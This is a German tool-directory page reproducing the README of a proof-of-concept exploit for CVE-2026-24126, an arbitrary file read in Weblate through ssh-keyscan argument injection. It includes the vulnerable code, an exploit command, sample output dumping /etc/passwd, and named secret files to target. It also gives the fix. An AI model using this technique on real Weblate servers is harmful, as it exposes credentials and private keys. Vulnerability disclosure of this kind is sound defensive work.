Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Weblate-CVE-2026-24126 — Proof-of-Concept-Exploit für CVE-2026-24126, ein beliebiges Dateilesen in Weblate über SSH-Host-Argument-Injection, das authentifizierten Administratoren das Lesen von Serverdateien ermöglicht. | Kitploit
Tools/GitHubGitHub/alexb616/weblate-cve-2026-24126
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

Proof-of-Concept-Exploit für CVE-2026-24126, ein beliebiges Dateilesen in Weblate über SSH-Host-Argument-Injection, das authentifizierten Administratoren das Lesen von Serverdateien ermöglicht.

Repository anzeigen
114vor 12 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Weblate — Beliebiges Dateilesen über SSH-Host-Argument-Injection

CVE CVSS Target Type Python

Entdeckt von: Alejandro Baño · Januar 2026 Bestätigt von: Weblate 5.16 Versionshinweise


Überblick

Weblates Endpunkt zur Verwaltung von SSH-Host-Schlüsseln übergibt den vom authentifizierten Administrator bereitgestellten Parameter host direkt an ssh-keyscan, ohne jegliche Bereinigung oder Argumentvalidierung. Da ssh-keyscan das Flag -f <file> akzeptiert, um Ziel-Hostnamen aus einer Datei zu lesen, kann ein Angreifer mit Administrator-Anmeldedaten dieses Flag als Host-Wert einschleusen und den Server dazu zwingen, eine beliebige lokale Datei zu öffnen. Die resultierende Fehlerausgabe (oder stdout) wird wörtlich im Browser innerhalb eines Fehlermeldungsblocks wiedergegeben und gibt so den Inhalt der Datei preis.


Details zur Schwachstelle

FeldWert
ZielWeblate (selbst gehostete Instanzen)
KomponenteSSH-Schlüsselverwaltung — weblate/ssh/views.py · add_host_key()
Authentifizierung erforderlichJa — Weblate-Administratorkonto
Betroffene VersionenAlle Versionen ≤ 5.15.2 (getestet in 5.0.2 und 5.15.2)
AuswirkungBeliebiges lokales Dateilesen als der Benutzer des Webserver-Prozesses (weblate, www-data usw.)
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

Ursache

# weblate/ssh/views.py  — simplified
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← host is appended with no validation
    result = subprocess.run(cmdline, ...)

Der Wert host stammt direkt aus dem POST-Body-Feld host, ohne Allowlist, ohne Entfernung führender Bindestriche und ohne ---Argumentabschluss vor dem benutzerseitig bereitgestellten Wert. Dadurch kann ein Angreifer ein beliebiges ssh-keyscan-Flag einschleusen.

ssh-keyscan -f /etc/passwd liest /etc/passwd als Liste von Hostnamen, kann jede Zeile nicht auflösen und erzeugt für jede eine Fehlerausgabe. Diese Fehlerausgabe wird durch den CalledProcessError-Handler weitergeleitet und innerhalb eines alert-danger-Blocks in der HTTP-Antwort angezeigt.


Proof of Concept

python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

Optionen

FlagBeschreibung
-r / --rhostBasis-URL der Weblate-Instanz
-u / --usernameAdministrator-Benutzername
-p / --passwordAdministrator-Passwort
-f / --filePfad zur Datei, die auf dem Server gelesen werden soll

Beispielausgabe

python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] Login successful for user: admin
[*] Sending payload to http://localhost/manage/ssh/, this could take some time, please be patient...

[+] Extracted file content:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit finished

Auswirkung

Jede Datei, die für den Betriebssystembenutzer lesbar ist, der Weblate ausführt (typischerweise der Benutzer weblate), kann durch eine einzige authentifizierte POST-Anfrage exfiltriert werden. Zu den sensiblen Zielen gehören:

  • Anwendungsgeheimnisse: settings.py, .env, local_settings.py
  • Private SSH-Schlüssel: /var/lib/weblate/.ssh/id_rsa
  • Datenbank-Anmeldedaten, die in Konfigurationsdateien offengelegt sind

Behebung

Aktualisieren Sie auf Weblate 5.16.0 oder höher. Dies ist der offizielle Fix, der vom Weblate-Team am 18. Februar 2026 veröffentlicht wurde und eine ordnungsgemäße Eingabevalidierung für das SSH-Host-Feld einführte.

Haftungsausschluss

Dieses Repository ist ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bestimmt. Verwenden Sie dieses Tool nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.

Tool herunterladen